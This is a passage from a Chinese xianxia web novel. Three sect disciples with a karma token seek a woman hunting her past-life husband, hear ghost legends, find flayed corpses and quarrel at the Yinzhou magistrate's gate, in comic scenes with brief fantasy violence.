“没有没有,二位姑娘快楼上请,左转第二第三间便是了。对了,小店的吃食也不错,红烧大排最为出名,二位有兴趣可以尝尝。” “好。” 姐妹俩上了楼,先在屋里休息了会、倒了口茶水喝。石映心把猫从包里捞出来,抱在怀里看了看,碰了碰它的爪子说:“既然你是只猫,就安心地待在旁边的房间里,等我和师妹回来。” 这么说着,她去边上的房间把猫一放,关上门后又施了法术锁了门,这才跟着师妹出门了。 二人在街上拿出因果牌看了看,东南西北转了转,最后指向西面时牌子隐隐发光,她们便顺着西面走去,一路走到了一户人家前。仰头看见朱门绣户,门匾上写着“银州署”三字,门前站着两个门房,两头比人高的威武石狮。 曾换月微惊,看看闪烁得激动的牌子,又看看面前的大门,和师姐嘀咕道:“怎么找到衙门来了?” “衙门?”石映心冒了个念头,“难道是要我们帮衙门捉拿作恶多端的罪犯?” “你话本看多了,师姐。”曾换月憋笑道,“你别忘了因果牌上的诗是歌颂爱情的!” 不过爱情和衙门有何关联呢,二人还没想通。偏偏此处也不是能随便进去逛逛的地方,于是她们便在门口偷摸地徘徊起来,打探着周遭。不小心还引来了那两个门房大哥的探究视线,不过因她们暂且没做什么,双方都按兵不动着。 没过一会,石映心就厌烦了漫无目的,提议道:“要不我们施隐身诀进去瞧瞧?” 曾换月也觉得这么下去不是事,正想应好,忽然瞧见东边走过来两个人,她连忙示意石映心道:“师姐你快看,那两个是不是昨晚我们在庙里遇见的人?” 石映心闻言看去,还真是。二人换了套衣裳,手上提着几样东西,走到衙门后,那两个门房居然朝他行了礼,然后他与仆役回了礼后就进去了。 “怎么看着和那两个看门的大哥很熟的样子?”曾换月嘟囔着,余光落在衙门口包子摊上,脑筋一转,拉着她师姐过去说,“大娘,你家包子哪款最好吃?” 包子大娘把蒸笼盖子一掀,热腾腾的香气冒了出来,里边挨着一个又一个白胖胖的包子,面皮上都渗透着油:“我家的梅干菜肉包最是美味,衙门里的那些差大爷都爱吃!唉,两位姑娘,可不是谁都能在衙门口摆摊的!” 石映心以为师妹想吃:“大娘,来两个包子。” “好嘞!” 趁着大娘给她们打包,曾换月连忙问道:“哎呀,最近这衙门是有什么案子吗?我方才瞧见一个书生熟门熟路地进去了,他瞧着不像是干坏事的人哪。” “嗐!哪是什么案子呀?”大娘笑着把包子递给两人,“是喜事!” “喜事?” “这事确实知道的人不多,知州老爷平日不太张扬的,就连这嫁闺女的大喜事,也是低调着来。” “嫁闺女?”曾换月眼睛一瞪,“嫁给谁?刚刚那个书生?” “是啊。”大娘点点头,见她反应有些激动,自己也提了兴趣,“不过是面上这么说,其实要让那贾秀才入赘呢!毕竟知州小姐是何等身份?哪能随着那贾秀才去穷乡僻壤过日子?别说知州老爷了,我都舍不得呢!” 曾换月和师姐对视一眼,她瞧见师姐一脸事不关己,不由得擦了把汗,感到一种深深的责任,连忙继续追问道:“额……你们,我是说,不都说嫁鸡随鸡嫁狗随狗吗?这贾秀才愿意入赘啊?” “哎呦!”大娘一摆手,一副“还是你们太年轻”的表情,“若是寻常人家自然是不能了。但他原本一个穷秀才,读了十几年书回老家可能也就教书了;被知州小姐看上就等于被知州老爷赏识,那日后前途不可限量啊!就是留在银州做个小官,也比回乡下好是不是?” “倒也是……”曾换月一扭头,她师姐已经在吃包子了,“多谢啊大娘,你家包子确实好吃!”拉着她师姐就走了。 “咦,不 还没吃吗?” …… 石映心被她拉到一边的巷子里,关心地指了指她手中的包子:“换月,趁热吃。” 曾换月叹了口气,咬了一口包子又要说话,但发现口齿不清,只好先把嘴巴里的咽了下去:“还真挺好吃……不是,师姐,那大娘刚刚说了一大堆,你都听明白了?” “听明白了。”石映心说,“不过这和我们的任务有什么关系?” 曾换月:…… “很明显呀!我们的任务和这贾秀才与知州小姐的喜事有关!不然你说,一个衙门里还能有什么爱情故事?而且我想了想,早上你起来时说因果牌亮着,碰巧那贾秀才又和我们共处一庙待了一夜……不像巧合吧?” “不像。”石映心吃着包子,觉得师妹说得很有道理:“我明白了。” “明白什么?” “吃完包子就去找贾秀才。” “啊?会不会太直接了点?” “为何要不直接呢?” “……”曾换月没话说,只好闷头吃包子,心想就怕给人家吓到啊……但直接去找,似乎是最快的办法了。 二人吃完包子走出巷子,打算用隐身诀溜进银州署,走两步却见前头有一阵喧哗,边上围了不少人在看热闹。曾换月扬长脖子瞅了瞅,什么也没瞧见;石映心一般不爱凑这些无关紧要之人热闹,目不斜视地就要走过去。 人群喧闹之中,却传来了一个男声: “你、你们别乱来啊!逼我动手的话你们都没好果子吃!” 石映心:? 她和师妹对视一眼,二人脱口而出:“二师兄!?” 连忙扒拉开人群挤进去,就见二师兄双手叉腰地挡在一个身形瘦弱的女子面前,将她遮得严实;对面是三个流里流气的男人,这会也在恶声恶气地朝她们二师兄说话: “呦,小白脸口气还不小!有种你就给你大爷我来两招啊?要不然……哼哼,我叫你知道多管闲事的下场!” 顾梦真抬着下巴企图让自己有气势一点:“我、我是不想欺负你!” 那三人闻言哈哈哈哈地发出嘲笑的声音,围观群众也议论纷纷。 就在这时候,石映心进场了:“二师兄,你怎么在这?” 第34章 “映心,换月!”见到两个师妹,顾梦真两眼放光,“你们可让我好找!” 曾换月也凑过去:“还能怎么,肯定是来捉我的呗……” “哼,你也知道!” “我是不会跟你回去的!” “你……” 见这小白脸居然视若无睹地和两个女人聊起天来,那三个人不高兴了,为首的道:“喂喂喂,凡事讲个先来后到,你个孙子把老子晾在这里是几个意思?怕等会没命跟你妹子叙旧啊?哈哈哈哈!” 他后边两个小弟已经打量起新人了:“大哥,我看这两个妹子也不错啊,这样正好,我们兄弟仨一人一个!” “什么一人一个,好兄弟多见外啊,一起一起嘛!” “哈哈哈哈哈哈!” …… 顾梦真气得脸红,怒骂道:“不想死的话嘴巴都放干净点!” 曾换月冷哼一声:“三个短命鬼!现在下跪求奶奶告爷爷还能饶你们一命!” 石映心问:“是要杀了他们吗?” 那三人见她们放狠话,自然很恼怒了,为首的道:“不跟他们废话,兄弟们,上!”三人便扑了上来。 与此同时,顾梦真和曾换月退了几步,前者喊道:“不能杀人啊,给个教训就好!” 给个教训? 石映心其实不太能拿捏这种分寸,她犹豫了一小会,于是把三人的嘴巴给削掉了。地上落了六片血肉,吓得边上的围观群众作鸟兽散,那三个人捂着嘴巴在地上打滚,除了喊疼的呻吟声啥也说不出来。 “差不多了差不多了……”趁场面一片混乱,顾梦真拉住师妹,“快走吧!” “哦。” 三人逃窜而走。 远一些的街上。 “你怎么一来就惹事?”曾换月气喘吁吁地谴责师兄,“尽给我和师姐添乱!” “曾换月,你还好意思说?”顾梦真龇牙道,“要不是你偷溜下山,我这会还在洞府里悠哉,哪里需要连夜赶路来找你?又哪里会招惹上那三个破皮无赖?你你你,你快跟我回去!” “我不回去!”曾换月躲到师姐身后,“我是来帮师姐的!” “你不添乱就不错了!” “你才添乱!” …… 石映心被当做一堵墙卡在二人中间,很习惯地淡定着,也没有劝和的意思,要不是余光瞧见了边上的那个瘦弱的、面色苍白的女人。 奇怪?她一直跟在她们后面吗?怎么也不说话…… “师兄,”石映心打断二人的争执,“她是谁?” “……你就等着被师父骂、啊?”顾梦真扭头一看,瞧见了女人也是一吓,“咦,这位姑娘你还在啊?” 那姑娘原本站在几步外,这会小心地走过来,朝她们点了点头:“多谢几位恩人出手相助……不然我怕是……”说到后边,脸色有些害怕起来。 “你不要客气,”顾梦真摆摆手说,“他们竟有胆子在光天化日之下对你出言不逊、动手动脚,实在是太过分了!真叫人看不下去。” “原来二师兄是路见不平拔刀相助啊,”曾换月轻哼一声,“算你有良心。” 又对那个女子说:“这位姑娘,你不用同我们道谢,不过近日还是少走那处过,就怕他们不长记性。” 女子点点头应下,却还是没走,似乎是犹豫着说:“实不相瞒,其实我不是银州人,是从老家过来寻人的……不知几位恩人是否知道何处才能寻到我想要找的人?” “寻人?”顾梦真摸摸下巴,“银州这么大,人口众多,找个人无异于大海捞针……你要找到人叫什么名、做什么行当?” 女子看着他摇了摇头:“这……我皆不知晓。” “连名字都不知道你怎么找啊?”曾换月奇怪道,“你要找的人是你的谁?” “他……目前与我毫无瓜葛。”女子讪讪一笑,“也许也不认得我。” 三人:oO? “这我们就爱莫能助了。”曾换月遗憾地说,“要不你去衙门报案,让那些官差帮你,比如在告示墙上贴一些画像之类的……” 女子闻言,神色又是暗淡了一些:“他的模样……在我心里也早已模糊了。” 三人:Oo? 石映心总结了一下:“所以你要找一个不知道名字和长相,和你毫无瓜葛且根本不认识你的人?” 女子闻言微微一愣,大概自己也觉得荒唐,抿唇艰难一笑:“……嗯。” 还真是啊。 “这人怪怪的。”曾换月给二人传密音,“要不我们别管了,快走吧!” 顾梦真:“同意同意!” 石映心:“好。” 于是她们匆匆地说“不好意思啊姑娘我们还有急事就先行告退了有缘再见啊”,那姑娘也没挽留,轻轻地说:“好,多谢三位恩人……” 三人飞步走远了一些,顾梦真问接下来去哪啊,曾换月说当然是要帮师姐做任务了,然后石映心拿出因果牌,发现它闪得吓人。 石映心微愣:“从来没见它这么亮过,难道我们要找的人就在附近?” 曾换月奇怪道:“贾秀才不是在衙门里吗?” 顾梦真:“贾秀才是谁?” “师兄你先别管,师姐,要不你找找东南西北?” “嗯。” 石映心便试着找东南西北,三人一个个方向转圈圈似地试了过来,最后停在了南边,他们抬头一看,正巧和还站在巷口好奇地看着她们的女人对上视线,偏偏她边上还没什么人。 曾换月:“不是吧……” 石映心拿着因果牌往女人的方向走了两步,这时候居然感到牌子在发烫,她顿了顿,回头朝师兄师妹点点头:“……好像是。” 真是太巧了。 于是才走掉的三人又回到了女人面前,曾换月还在小声嘟囔着:“奇了怪了,如果先前的推测没错,贾秀才应是我们要找的人,可为什么木牌会对她发光呢?她又不是知州小姐……” 女人虽不解他们去而又返,但面上带了些欣喜:“恩人,你们找我还有什么事?” 石映心道:“怎么称呼你?” “我姓何,名碧薰。” 几人互通了姓名,石映心道:“何姑娘,你要找的是个男人吗?” 何碧熏轻轻颔首,面上莫名带了丝笑意,看得石映心脑壳上冒问号:“……你笑什么?” 何碧薰于是抬首朝她也笑:“有些人……你光是想起来,便会想笑。” 石映心:? 她转头问师兄师妹:“是吗?” “哎呀,是她的情郎吧?”曾换月调侃地朝何碧薰抬抬眉毛,抬着抬着抽了一筋,诧异道,“不对啊,她不是根本不认得那人……” 顾梦真干脆道:“何姑娘,你就别和我们卖关子了,仔细说说你和这人究竟是什么关系,我们也好帮你找啊是不是?” 何碧薰抬眼欣喜道:“几位恩人真的愿意帮我找人?” “愿意愿意,你快说吧。” “好,不过……”她面色又有些犹豫起来,看的三人有些着急,“我说了,怕你们不信。” “信信信,赶紧说吧!” “其实我要找的人……”何碧薰叹了口气道,“是我前世的夫君。” 三人皆是一愣。 之后听她细细说来,原来是这么回事,她前世与她夫君琴瑟和鸣、鹣鲽情深,却因战事要和他分别。临行前,二人深知此去便是九死一生,对月起誓相约来世再做夫妻…… “啊?发誓就能记得啊?”曾换月咋舌道,“孟婆汤过期了不成?” 何碧薰摇摇头说:“孟婆她听了我的故事,怜我用情至深,给了我三世机会。第一世,我迟迟找不到他,直到两鬓斑白、垂垂老矣,才发现他早已与她人成亲、儿孙满堂。我不怪他,是我来晚了……”说着抽了抽鼻子。 “第二世,我有幸与他是青梅竹马,相伴长大,还未成婚便死于一次天灾瘟疫中。只恨快乐的日子太短,我太贪心……”她抹了把眼泪,“所以这第三世,我一定要找到他、与他白头偕老……” 三人听完,各有感触。 顾梦真十分感动:“我听说不喝孟婆汤,轮回时便要受忘川河极刑之苦,如上刀山下火海,如被针扎被刀剐,若是昏厥了便要重头来过……何姑娘,没想到你是如此痴情的人,竟能忍受三次这般痛苦!” 曾换月听得微惊:“我的天奶……” 何碧薰惆怅道:“嗐,再痛也不过是皮肉折磨,那能抵相思之苦呢?” 石映心冒问号:“相思之苦这么疼吗?” “是啊。”何碧薰朝她淡淡一笑,双眼却有些出神,好像不是在瞧面前的人,“那是世上最苦、最疼的东西,却又叫人无法忘怀;每次想起来都是身临其境,如坠深渊,但又让心生出无尽的勇气……如此支撑我走到今日。” “天呐……”曾换月深受感动道,“师姐,这就是我们要找的‘自古多情空余恨,此恨绵绵无绝期。’啊!” 石映心闻言松了口气,总算找到任务方向了,不过:“何姑娘,如果你的夫君这世不爱你了、或是已经娶妻生子了怎么办?” 何碧薰说:“若是前者,几位大可放心,夫君虽不记得我,但我与他有几世的缘分,情深似海,他定不会对我无动于衷;若是后者……罢了,我只愿今生能在远处日日望见他便好,不再求相知相识。” “哇……”曾换月捂住嘴巴,“久闻难得一见,原来这就是爱情的伟大啊!” “太伟大了!”顾梦真泪眼汪汪,“你放心何姑娘,我们一定会竭尽所能地帮你!” 石映心也郑重地点点头:“嗯。” 第35章 何碧薰望望三人,眼里也冒了泪花,衬得她苍白一张脸好不可怜:“好,多谢三位恩人!” “别这么客气,等我们帮你找到人了再谢吧……”曾换月瞅瞅师姐手中的木牌,忽然想到什么,“欸,师姐,既然木牌遇到贾秀才也会发光,那他不会就是……何姑娘要找的人吧?” 何碧薰微微抬起眼:“贾秀才……” 顾梦真:“你们一直在说的这个贾秀才究竟是谁啊?” 石映心眨眨眼:“是或不是,让他们二人见了面便知道。” “这个秀才是谁?” 曾换月偷摸撇了眼何碧薰,小声道:“希望不是吧,贾秀才都和知州小姐有婚约了……” “谁啊这个姓贾的?” 石映心宽慰师妹道:“没事,不就是婚约,我们可以抢亲。” “抢谁的亲!?” 曾换月也吓了一跳:“师姐万万不可啊!你是不是看了那本侠客抢亲青梅的话本?哎呦不行不行的,哪能效仿这些故事主人公啊……” “可是……” 顾梦真仰天长啸:“你们谁来跟我说清楚!就是做坏事也得和我通通气吧!” “……” 街上不好说话,于是几人先回了来财客栈商讨事宜。 正巧是用晚膳的时间,一楼大堂里坐满了人,一进去便有扑鼻的食物香气。慕雲这三个徒弟最是嘴馋,哪怕早已辟谷,吃一粒辟谷丹就可一月不吃不喝,但这三人偏要掐点去膳堂吃饭…… 明易曾以为只是自家师弟妹如此,后来他发现门派里居然有东西南北四座膳堂,才知贪嘴的风气是门派传下来的。 果然,这会三人就默契地拉着何碧薰找空桌坐下,然后叫小二过来点了菜:三份红烧大排面,一碗蒜蓉小青菜,再加一碗辣子鸡丁……何碧薰说半时辰前才吃了些糕点,不饿。 等上菜的时候,曾换月给二师兄解释前情提要,石映心则站起了身往楼上走去,没过一会儿抱着那只玄猫下来了。 顾梦真奇道:“这只猫是哪来的?” 曾换月:“如此如此这般这般。” 顾梦真“哦~”了一声,伸手去摸了摸猫脑壳,见它绿油油的猫眼很是不耐,又收回了手来,吐槽道:“这猫瞧着很不亲人啊,还瞪我呢!” “是不亲人。”石映心抱着猫说,“不过人亲猫就好。” “哈哈哈哈!”曾换月笑了起来,“师姐你不要亲它,这猫不知道流浪了多久,草里泥里地滚,可脏了!” “我已经帮它使了澄净诀。” “那也不能亲。”顾梦真摇摇头,“猫身上总是有脏污的,它们还要用口水舔自己,舔舔屁股又舔舔身上,哎呦!” 石映心一顿:“……嗯。” 何碧薰捂嘴笑道:“猫不及凡人,它们舔自己便是爱干净的表现了。我以前家中养了一只金丝虎,还会爬树摘果子,一个个打下来,人就在下头接着。” “还挺聪明,”顾梦真说,“那捉老鼠的本事如何?” 何碧薰摇摇头道:“不捉老鼠,就平日里逗着玩的,还要替它操办吃食呢。” 这时候上菜的小二走过来听见了,感概一声道:“哇,做姑娘家的猫这么好待遇?” 何碧薰连忙谦逊地摆手:“没有、没有,见笑了。” 红烧大排面和两碗菜都上来了,顾梦真让师妹把猫放到一边去:“小心猫毛掉进去。” 石映心想想也是,便把猫放在边上坐着,拿筷子吃起面来。别说还真挺好吃的,和他们归壹派膳堂的红烧大排有的一拼,大概地理位置相近,口味也很相似,浓油赤酱、咸中带甜。 三人吃起来便有些着迷了、忘情了,全然忘记边上还干巴巴地坐着一个何碧薰。后者倒也没什么不耐,脸上还带着浅浅的笑意,看着有些和蔼,只是 忽然和那猫对视上,心中一惊。 这猫……何碧薰想,和寻常的猫有些不同,这不像猫看人的眼神。 吃完饭,外头天也快黑了,三人坐在桌边捧着大肚子,慢悠悠地琢磨起明日要怎么让何碧薰和贾秀才见面,正没说两句,店里忽然有些骚乱。 “吃完饭的客官就赶紧走吧,”店小二居然拿着锣鼓敲了起来,“天要黑透了,赶紧回家吧!” 哪有这样待客的,但客官们都没有不满。没吃完的抓紧扒拉几嘴结账要走;吃完坐着嗑瓜子聊天的也纷纷起身;还有从楼上下来走到一半的,转身又往楼上走去。 一时之间,热闹的客栈大堂一哄而散。 四人正坐在那稀奇地打量着,那敲着锣的小二就快走过来,脸色略着急:“哎呀,这都什么时候了,四位客官竟还敢这般悠哉地坐着!快走吧,快回家吧,小店也要关店休息了!” 何碧薰便站了起来,朝三人微微颔首道:“既然如此,碧薰便先告退,明早再来找三位恩人。” 三人也与她道别:“慢走哦。” 何碧薰一走,那小二又要去劝退别人,但被顾梦真拉住了:“欸小哥,你们店里为何这么慌张?还是家家户户都这样?” “家家户户都这样……”他刚回答一句,忽然手指一点三人,“一二三……四,客官行行好,我不能与你们多待啊!” 顾梦真还拉着他:“别啊,我们想问你一些话。” 那小二越发慌张起来:“不行不行……” 就在这时,石映心抱着猫站起来说:“师兄,换月,我先去楼上等你们?” 顾梦真瞥了眼小二慌张的脸:“好啊,你先上去休息。” “嗯。” 石映心带猫上楼进了屋,关上门后把猫往桌上一放,坐在边上和它大眼瞪小眼,她是直勾勾地瞧着的,玄猫却似乎有些眼神闪躲,看她一会就转开视线,又转回来瞥一眼,再转开。 她戳了戳软乎乎的猫爪,忽然说:“还没听过你叫,这样,你叫一声喵喵我就把你身上的法术解开。” 这么说着,先是点了一下猫嘴,让猫的嘴巴能活动了。 但那玄猫依旧无动于衷,嘴巴紧紧闭着。 石映心戳戳猫脸颊,扯了扯它的胡须威胁道:“你要是不叫,我就一直不让你动……” 猫不为所动。 她忽然想到方才二师兄说的话,又道:“我还要亲亲你……” “喵。” 石映心耳朵一动:“咦,你叫了?我没听清。” 那猫瞳看着天花板,疑似在翻白眼:“……喵。” 叫得毫无感情,一点也不可爱,和她先前在黑竹林喂的那只完全不一样。 石映心心满意足地笑了一声,解开了猫身上的法术,就见那猫飞快地跳到地上,跑到屋里最远的角落遥遥望着她。 石映心支着下巴看着他,微笑着说:“大师兄说得不错,长了嘴巴的人就会说谎,但就是有人不会说话,也会骗人……” 那猫定定地看着她。 这时外头传来一阵脚步声,是换月和师兄过来了,玄猫往门瞥了一眼,见二人推开门,急吼吼地跑进来说:“师姐师姐,这银州真的闹鬼啊!” 怎么回事呢? 先听曾换月说:“那小二还亲眼见过呢!就是去年这时候,一个屋子里不小心待了四人,夜里这四人都见了鬼!有一个是在如厕时撞上的,横死在粪坑上!那小二躲在被窝里念了一宿阿弥陀佛神仙保佑,这才躲过一劫……其他两个则是被吓晕了。” 又听顾梦真道:“而且啊,这还不是个例,前几年百姓们不信这传闻的时候出过不少岔子,去大街上问问,十个里就有一个信誓旦旦地说自己见过鬼!听说十几年前更混乱,鬼直接在街上乱窜,夜里窗户开条缝,都有鬼溜进来……” 石映心:“鬼这么厉害。” 曾换月说:“是啊,我们是没遇见过鬼,听说是形如云烟,能穿墙呢!” 石映心:“哇。” 曾换月道:“当时死了很多人,好在很快我们归壹派就发现了不对劲,派了一批弟子下来降鬼,又按迹循踪,才知道原来是阴阳路那里的封印松动了,银州临近阴阳路,可不就首当其冲?听百姓说,当时银州都是百鬼夜行,真不敢想阴阳路有多可怖!” 石映心:“鬼来人间要做什么呢?” “就……吓人、杀人呗。”顾梦真想了想,“也许还有寻仇的。” “哦,”石映心点头,“那后边是如何解决的?” 曾换月:“说是来了一位红衣仙人,厉害得很!把那些鬼吓得鬼哭狼嚎,天地震动,统统逃回了地府去。然后又有仙风道骨的仙人重新封印了阴阳路,那些鬼才安分下来……只是在鬼月的时候封印薄弱,难免会逃几只出来。后来不知怎么就流行起鬼月时夜间四人相聚就会招鬼的传闻……总之是这么回事了。” “很厉害的红衣仙人……”石映心眨眼,“妽荼仙尊?” 曾换月拍拍她的手:“我觉得也是!” 顾梦真搓了搓胳膊,瞧着有些后怕:“要让妽荼仙尊来处理的事情……那定是很恐怖的了。” “难怪这些银州百姓对归壹派的弟子这么友善,原来是因为师姐师兄她们先前救过他们呢。”曾换月一副了然的口吻,“这么对比起来,我们这帮人找夫君的任务不要太简单哦。” “话别说得太早。”顾梦真忽然压低了声音,偷摸摸道,“我总觉得事情不会这么简单,要不然什么时候找夫君不行,偏偏这鬼月让我们下山来了?” 曾换月一听,面色便犹豫着警惕起来:“不是吧……” “没事。”石映心也跟着小声了些,“不过是鬼。” 二人:…… 第36章 “总之,”顾梦真叹了口气道,“能不惹事就不惹事,安安分分地完成因果牌的任务、早点回山上最好!” 石映心觉得要问清楚一点:“如果有人撞了鬼,我们也不管吗?” “那、那是要出手相助的。” “哦。” “好了好了,”顾梦真道,“既然夜里不便行事,我们就快些休息吧。” 石映心应了一声站起来,转过身瞧见坐在角落的玄猫,对顾梦真道:“二师兄,这猫和你一起睡吧。” 顾梦真这才瞧见玄猫:“行啊……它不咬人不挠人吧?” “不会的。” “好,你就放心交给我吧。” “嗯。”石映心点点头,最后瞧了猫一眼,就带着师妹出门回房间了。 夜深人静。 顾梦真原本睡得很熟,突然皱起眉目,似乎有些痛苦。他朦胧之中觉得胸口被一块大石头压着,挤着他的五脏六腑叫他喘不过气来。半梦半醒之间,他脑子里盘旋着睡前听过的故事,隐约冒出一个念头: 不会是鬼压床吧…… 神志不清地睁开眼模糊地一瞧,自己胸口上有黑乎乎的一团什么……嗯?猫? 哦,是猫啊…… “下去,谁许你上床的?”他试图把猫扒拉下去,“乌漆嘛黑的,一看就是脏猫……” 那猫躲开了他的手,用爪子往他脸上按了一下。 虽然没伸爪,肉垫还软乎乎的,但着实把顾梦真吓了一跳,他登时清醒了不少,捂着脸瞪着它道:“你你你、你竟敢扇我巴掌!?” 玄猫坐在他身上,半阖着眼俯视他,猫眼里瞧着有很多鄙视。 “坏猫!”顾梦真瞧这眼神,心里很生气,“小心我把你丢出去!” 那猫从他身上跳下来,斜看他一眼,忽然又跳上了桌子,把桌上的茶盏给推倒了,洒出一些水来。 “你做什么!”顾梦真深呼一口气,连忙起来要擦桌子,嘴里嘟嘟囔囔的,“要不是我师妹喜欢你,我才不要和你待一起,你给我安分一点……” 结果扭头一看,那猫坐在了窗台上,不知何时已经把窗户给推开了,夜风吹来,有些湿热。 “你跳下去我可不理你的!”顾梦真气鼓鼓地要去关窗,身子往外边探去的时候忽然听见了什么动静。 他愣了愣,静下心来细细听去,好似有人在远远的地方在喊“救命”? 顾梦真正疑心是自己没睡醒听错了还是怎么,忽然身后的门被踹开,他吓了一跳,扭头看去就瞧见两个师妹。 “师兄。”石映心衣衫完整,也没疑心她师兄为何站在窗边,单刀直入道,“有人在喊救命,要去看看吗?” 曾换月在边上打了个哈欠:“我没 听见啊师姐……” 顾梦真回神道:“走,去看看!” 夜深人静,她们干脆飞窗出去,在人家屋顶上又跑又跃,好在脚步轻盈,并不扰人美梦。 跑了没两步就听不见救命声了,不过取而代之的是越发浓郁的血腥味。等三人嗅着鼻子寻过去,只瞧见大街上横躺着三具血肉模糊的尸体,曾换月吓得惨叫一声,蹲在屋檐上不敢下去。 顾梦真也是眼前一黑,晕乎乎地不能直视。 地上全是血,石映心站在血外瞧了瞧道:“皮被扒掉了。” 顿了顿又补充道:“扒得很干净,我们赶来时还隐约听见叫喊声,说明凶手的技术又快又好,常人难以做到……难道真是鬼干的?” 如此合理的分析,回应她的却是一阵“呕——” 石映心:? 她奇怪地看了看蹲在路边上呕吐的二师兄,又看看缩在屋檐上捂眼睛的小师妹,很不解地问:“你们怎么了?” “师姐、呕……”曾换月闻到这血腥味都有些反胃,已经是靠着义气强撑着不跑了,“师姐,你才是呕、怎么了……你不害怕吗呕……” 石映心有理有据道:“死人又做不了什么,为何要害怕?能杀人的只有人和鬼罢了。” “呕……”顾梦真脸色苍白地抬起头来,“这里的怕……是恶心的意思呕……” “哦,原来是这样。”石映心其实也不解要恶心什么,不过是人的尸体罢了,哪有她杀的那些奇形怪状的妖怪恶心呢?说起让她觉得恶心的东西,那还得是两年前试炼秘境中的那只…… 跑题了,石映心回过神来道:“好吧,那现在我们该如何?” 曾换月沙哑道:“这……凶手都跑没影了,这里血腥味这么重,我闻不到一点鬼气……我看是没办法了,算了算了,我们回去吧师姐……” “我也没闻到鬼气。”石映心先是这么说,然后又道,“我看话本里说,死了人要告到官府,要不我们把尸体送去官府门口?” “不不不、别别别……”顾梦真连忙制止她的危险想法,“虽然这是鬼干的,但是怎么说……还是维持案发现场的原样吧,不要轻举妄动,就让那些官差处理便是,我们回去吧,好不好映心?” 石映心说好。 三人便原路返回了客栈。 临走前石映心又问:“不是说四人才会招鬼,为何我们只见到三具尸体?” “也许有一个人跑了。”顾梦真喝了口茶水,“不管了不管了,先睡吧!” “哦。” 顾梦真把窗户关上,打了个哈欠打算上床睡觉,走到床边瞧见上边窝着一只玄猫,着实吓了一跳:“哇!你、你,你怎么……” 那玄猫懒洋洋地看着他。 顾梦真缓过心脏,松了口气:“也是,你不在这还能在哪……唉,算了,你要睡床上就睡床上吧,别吵我睡觉就好了。” 这么说着脱鞋往床上一躺,被子一盖两眼一闭,脑袋一歪就睡着了。 玄猫斜看他一眼,慢慢地趴了下来。 隔天一早。 三人在楼下用早膳的时候就听见有食客议论纷纷起昨晚的新鲜案子,这才过了多久,这事已经传到了所有人的耳朵里,又从他们的嘴巴里绘声绘色地说出来:什么皮被扒得一干二净,筋都被抽出来了! 石映心替死者澄清:“没有被抽筋。” 曾换月手上拿着半根油炸桧,有些食不下咽了:“这些百姓胃口真好,吃饭的时候说这些……” 顾梦真喝了口豆浆,擦了把嘴巴:“嗐,敢说这些的都是没见过尸体惨状的,想象不出那场景有多可怖、呕……” 曾换月表情痛苦:“你不要呕,不然我也想、呕……” 石映心:OO 用完膳,何碧薰正巧找来了,她也听到了风声,脸色苍白地和三人说了这事,瞧着害怕极了。又听三人说要去衙门瞅瞅情况,艰难地点了点头,状态瞧着马上要昏厥。 可是没办法啊,她要和贾秀才见上面才行。 于是她们便来到银州署,今日的衙门还挺热闹,门口进进出出着一些官差,边上还有不少没事干的百姓站得远远的看情况、凑在一起说小话。 见这么多人进出,石映心便没多少想法,领头就要往里边走,不意外地被其中一个门房拦住了:“站住!衙门重地,闲杂人等不可擅自入内!” “这位大哥,”顾梦真凑上来说,“我们有事要找……额,你们大人。” 门房横眉竖眼地看他:“若有要事,要先付了通报的费用,等我进去禀报了大人,再看大人是否公务繁忙、有没有时间见你们。” “啊?”曾换月嘟囔道,“这么麻烦?” 门房:“这是规矩!银州百姓都知晓。你们不是银州人?” 几人面面相觑,何碧薰问:“这位差大爷,不知要多少银两才能帮我们通报一声?” 那门房上下左右地打量了他们几眼,吐出一个数:“四个人……就二两银子吧。” “什么?二两银子?”曾换月声音都高了一些,“你们抢钱那!进去说句话的功夫就要我二两银子?这也太坑了……” 顾梦真在边上:“就是就是!!” “大胆!这里岂是你们撒泼的地方!” 那门房厉喝一声,拿起水火棍就要立威似的打下来,但下一秒就听一声“咔嚓”,那棍子已被削去了一段。 速度之快让门房都没反应过来,等定睛一看,才发现是一把剑把他的水火棍给砍掉了,而拿剑的女人正盯着他,冷声道: “小小银州,哪里有我不能撒泼的地方?” 门房瞪大眼睛、失声叫道:“大、大胆狂徒!” 当此时,另一边的门房以及门口来往的官差都被吸引来了注意力,纷纷朝这边赶来,手上拿刀的拿刀,拿棍的拿棍,个个气势汹汹,一时半会就将四位大胆狂徒包围了起来。 顾梦真有些不解情况为何发展成这样了:“你们做什么!我们不过削了一根棍子,需要这么大排场?” “这不是普通的棍子,”有个拿棍的人说,“这是官棍,是执法棍!你等砍了棍子,就是在蔑视官威、以下犯上!” 曾换月心说这些人有病吧,朗声道:“你们别乱来啊,刀剑不长眼,到时候伤了死了可别怪到我们头上来!” 见她居然还在说大话,官差们哈哈笑起来:“你们几个小女子、小白脸,还挺不知好歹!” 别看石映心淡然站在那,其实她想了很多的:“废话少说,你们先动手。”不然等会师父怪罪起来她没借口。 官差们:…… 真是太嚣张了!搁谁谁忍得了? “弟兄们、上啊!” 这伙人呵呵啊啊地挥着武器喊叫起来,就在这剑拔弩张的时刻,忽然有人高声喝到:“放肆!竟敢在衙门口胡闹!” 第37章 众人一听这声好熟悉,转头一看,威风凛凛地站在门口、身后簇拥着几名官差的人不是他们知州大人邓严还是谁? “邓大人!” 大伙纷纷弃械行礼。 石映心打量着邓严,见他面色肃穆,锦衣华府,瞧着很威风;对方和她对视上,见她目光坦荡直白,皱眉道:“这些人是谁?” 被削棍的门房立刻凑上去,省去要二两通报费的事情,几句话把责任推到了他们身上。 曾换月正不服气地要说两句,却听那邓严对那门房道:“本官早就想过要废弃门房通报费的规矩,念着你二人家境贫寒才睁一只眼闭一只眼;没想到你却得寸进尺、为难普通百姓!” 那门房一听,吓得跪了下来:“大人饶命、小的知错了,大人饶命!” 邓严一挥袖子,摇头道:“人穷志短,本官也无意为难你,就罚你辞去门房一职、此生不可再入衙门做事吧。” 算是很轻的惩罚了,前门房磕头谢罪,很快就被人抬走。邓严边上的长随见事已至此,挥手退散了聚集的官差,衙门口顿时少了好多人。 长随来到石映心几人面前,好声好气地问:“几位找我们大人有什么事?” 石映心:“我们来找贾……” “咳咳!”顾梦真凑上来说,“我们听说昨晚街上死了人,疑似恶鬼作案,所以特来问问有没有帮得上忙的地方。” “帮忙?”那长随似有些奇怪,“额,几位是……?” “我们是归壹派的弟子!”曾换月指了指腰间的令牌,“你们大人这么厉害,可见过这符信?” 